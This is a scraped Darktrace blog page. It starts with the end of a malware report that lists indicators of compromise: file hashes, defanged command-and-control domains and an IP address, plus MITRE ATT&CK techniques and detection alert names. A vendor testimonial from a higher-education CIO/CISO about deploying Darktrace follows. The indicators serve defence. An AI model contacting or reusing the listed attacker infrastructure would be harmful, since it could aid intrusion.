Indicators of Compromise (IoCs)

Test.zip - fc3959ebd35286a82c662dc81ca658cb

Dnscfg.dll - b2c8f1402d336963478f4c5bc36c961a

Client.TcpDmtp.dll - c52b4a16d93a44376f0407f1c06e0b

Browser_host.dll - c17f39d25def01d5c87615388925f45a

Client.DmtpFrame.dll - 482cc72e01dfa54f30efe4fefde5422d

Persist.Extra - 162F69FE29EB7DE12B684E979A446131

Persist.Registry - 067FBAD4D6905D6E13FDC19964C1EA52

Assist - 2CD781AB63A00CE5302ED844CFBECC27

Persist.WpTask - DF3437C88866C060B00468055E6FA146

Microsoft.VisualStudio.HostingProcess.Utilities.Sync.dll - c650a624455c5222906b60aac7e57d48

www.icloud-cdn[.]net

www.yahoo-cdn.it[.]com

154.223.58[.]142[AP8] [EF9]

MITRE ATT&CK Techniques

T1106 – Native API

T1053.005 - Scheduled Task

T1546.16 - Component Object Model Hijacking

T1547.001 - Registry Run Keys

T1511.001 - Dynamic Link Library Injection

T1622 – Debugger Evasion

T1140 – Deobfuscate/Decode Files or Information

T1574.001 - Hijack Execution Flow: DLL

T1620 – Reflective Code Loading

T1082 – System Information Discovery

T1007 – System Service Discovery

T1030 – System Owner/User Discovery

T1071.001 - Web Protocols

T1027.007 - Dynamic API Resolution

T1095 – Non-Application Layer Protocol

Darktrace Model Alerts

·      Compromise / Beaconing Activity To External Rare

·      Compromise / HTTP Beaconing to Rare Destination

·      Anomalous File / Script from Rare External Location

·      Compromise / Sustained SSL or HTTP Increase

·      Compromise / Agent Beacon to New Endpoint

·      Anomalous File / EXE from Rare External Location

·      Anomalous File / Multiple EXE from Rare External Locations

·      Compromise / Quick and Regular Windows HTTP Beaconing

·      Compromise / High Volume of Connections with Beacon Score

·      Anomalous File / Anomalous Octet Stream (No User Agent)

·      Compromise / Repeating Connections Over 4 Days

·      Device / Large Number of Model Alerts

·      Anomalous Connection / Multiple Connections to New External TCP Port

·      Compromise / Large Number of Suspicious Failed Connections

·      Anomalous Connection / Multiple Failed Connections to Rare Endpoint

·      Device / Increased External Connectivity

Continue reading
About the author
Tara Gould
Malware Research Lead

Blog

/

AI

/

May 12, 2026

Resilience at the Speed of AI: Defending the Modern Campus with Darktrace

Default blog imageDefault blog image

Why higher education is a different cybersecurity battlefield

After four decades in IT, now serving as both CIO and CISO, I’ve learned one simple truth: cybersecurity is never “done.” It’s a constant game of cat and mouse. Criminals evolve. Technologies advance. Regulations expand. But in higher education, the challenge is uniquely complex.

Unlike a bank or a military installation, we can’t lock down networks to a narrow set of approved applications. Higher education environments are open by design. Students collaborate globally, faculty conduct cutting-edge research, and administrators manage critical operations, all of which require seamless access to the internet, global networks, cloud platforms, and connected systems.

Combine that openness with expanding regulatory mandates and tight budgets, and the balancing act becomes clear.

Threat actors don’t operate under the same constraints. Often well-funded and sponsored by nation-states with significant resources, they’re increasingly organized, strategic, and innovative.

That sophistication shows up in the tactics we face every day, from social engineering and ransomware to AI-driven impersonation attacks. We’re dealing with massive volumes of data, countless signals, and a very small window between detection and damage.

No human team, no matter how talented or how numerous, can manually sift through that noise at the speed required.

Discovering a force multiplier

Nothing in cybersecurity is 100% foolproof. I never “set it and forget it.” But for institutions balancing rising threats and finite resources, the Darktrace ActiveAI Security Platform™ offers something incredibly valuable: peace of mind through speed and scale.

It closes the gap between detection and response in a way humans can’t possibly match. At the speed of light, it can quarantine, investigate, and contain anomalous activity.

I’ve purchased and deployed Darktrace three separate times at three different institutions because I’ve seen firsthand what it can do and what it enables teams like mine to achieve.

I first encountered Darktrace while serving as CIO for a large multi-campus college system. What caught my attention was Darktrace's Self-Learning AI, and its ability to learn what "normal" looked like across our network. Instead of relying solely on static signatures or rigid rules, Darktrace built a behavioral baseline unique to our environment and alerted us in real time when something simply didn’t look right.

In higher education, where strict lockdowns aren’t realistic, that behavioral model made all the difference. We deployed it across five campuses, and the impact was immediate. Operating 24/7, Darktrace surfaced threats in ways our team couldn’t replicate manually.

Over time, the Darktrace platform evolved alongside the changing threat landscape, expanding into intrusion prevention, cloud visibility, and email security. At subsequent institutions, including Washington College, Darktrace was one of my first strategic investments.

Revealing the hidden threat other tools missed

One of the most surprising investigations of my career involved a data leak. Leadership suspected sensitive information from high-level meetings was being exposed, but our traditional tools couldn’t provide any answers.

Using Darktrace’s deep network visibility, down to packet-level data, we traced unusual connections to our CCTV camera system, which had been configured with a manufacturer’s default password. A small group of employees had hacked into the CCTV cameras, accessed audio-enabled recordings from boardroom meetings, and stored copies locally.

No other tool in our environment could have surfaced those connections the way Darktrace did. It was a clear example of why using AI to deeply understand how your organization, systems, and tools normally behave, matters: threats and risks don’t always look the way we expect.

Elevating a D-rating into a A-level security program

When I arrived at my last CISO role, the institution had recently experienced a significant ransomware attack. Attackers located  data  which informed their setting  ransom demands to an amount they knew would likely result in payment. It was a sobering example of how calculated and strategic modern cybercriminals have become.

Third-party cyber ratings reflected that reality, with a  D rating.

To raise the bar, we implemented a comprehensive security program and integrated layered defenses; -deploying state of the art tools and methods-  across the environment, with Darktrace at its core.

After a 90-day learning period to establish our behavioral baseline, we transitioned the platform into fully autonomous mode. In a single 30-day span, Darktrace conducted more than 2,500 investigations and autonomously resolved 92% of all false positives.

For a small team, that’s transformative. Instead of drowning in alerts, my staff focused on less than  200 meaningful cases that warranted human review.

Today, we maintain a perfect A rating from third-party assessors and have remained cybersafe.

Peace of mind isn’t about complacency

The effect of Darktrace as a force multiplier has a real human impact.

With the time reclaimed through automation, we expanded community education programs and implemented simulated phishing exercises. Through sustained training and awareness efforts, we reduced social engineering susceptibility from nearly 45% to under 5%.

On a personal level, Darktrace allows me to sleep better at night and take time off knowing we have intelligent systems monitoring and responding around the clock. For any CIO or CISO carrying institutional risk on their shoulders, that matters.

The next era: AI vs. AI

A new chapter in cybersecurity is unfolding as adversaries leverage AI to enhance scale, speed, and believability. Phishing campaigns are more personalized, impersonation attempts are more precise, and deepfake video technology, including live video, is disturbingly authentic. At the same time, organizations are rapidly adopting AI across their own environments —from GenAI assistants to embedded tools to autonomous agents. These systems don’t operate within fixed rules. They act across email, cloud, SaaS, and identity systems, often with broad permissions, and their behavior can evolve over time in ways that are difficult to predict or control.

That creates a new kind of security challenge. It’s not just about defending against AI-powered threats but understanding and governing how AI behaves within your environment, including what it can access, how it acts, and where risk begins to emerge.

From my perspective, this is a natural next step for Darktrace.

Darktrace brings a level of maturity and behavioral understanding uniquely suited to the complexity of AI environments. Self-Learning AI learns the normal patterns of each business to interpret context, uncover subtle intent, and detect meaningful deviations without relying on predefined rules or signatures. Extending into securing AI by bringing real-time visibility and control to GenAI assistants, AI agents, development environments and Shadow AI, feels like the logical evolution of what Darktrace already does so well.

Just as importantly, Darktrace is already built for dynamic, cross-domain environments where risk doesn’t sit in a single tool or control plane. In higher education, activity already spans multiple systems and, with AI, that interconnection only accelerates.

Having deployed Darktrace multiple times, I have confidence it’s uniquely positioned to lead in this space and help organizations adopt AI with greater visibility and control.

---

Since authoring this blog, Irving Bruckstein has transitioned to the role of Chief Executive Officer of the Cyberaigroup.

Continue reading
About the author
Irving Bruckstein
CEO CyberAIgroup
あなたのデータ × DarktraceのAI
唯一無二のDarktrace AIで、ネットワークセキュリティを次の次元へ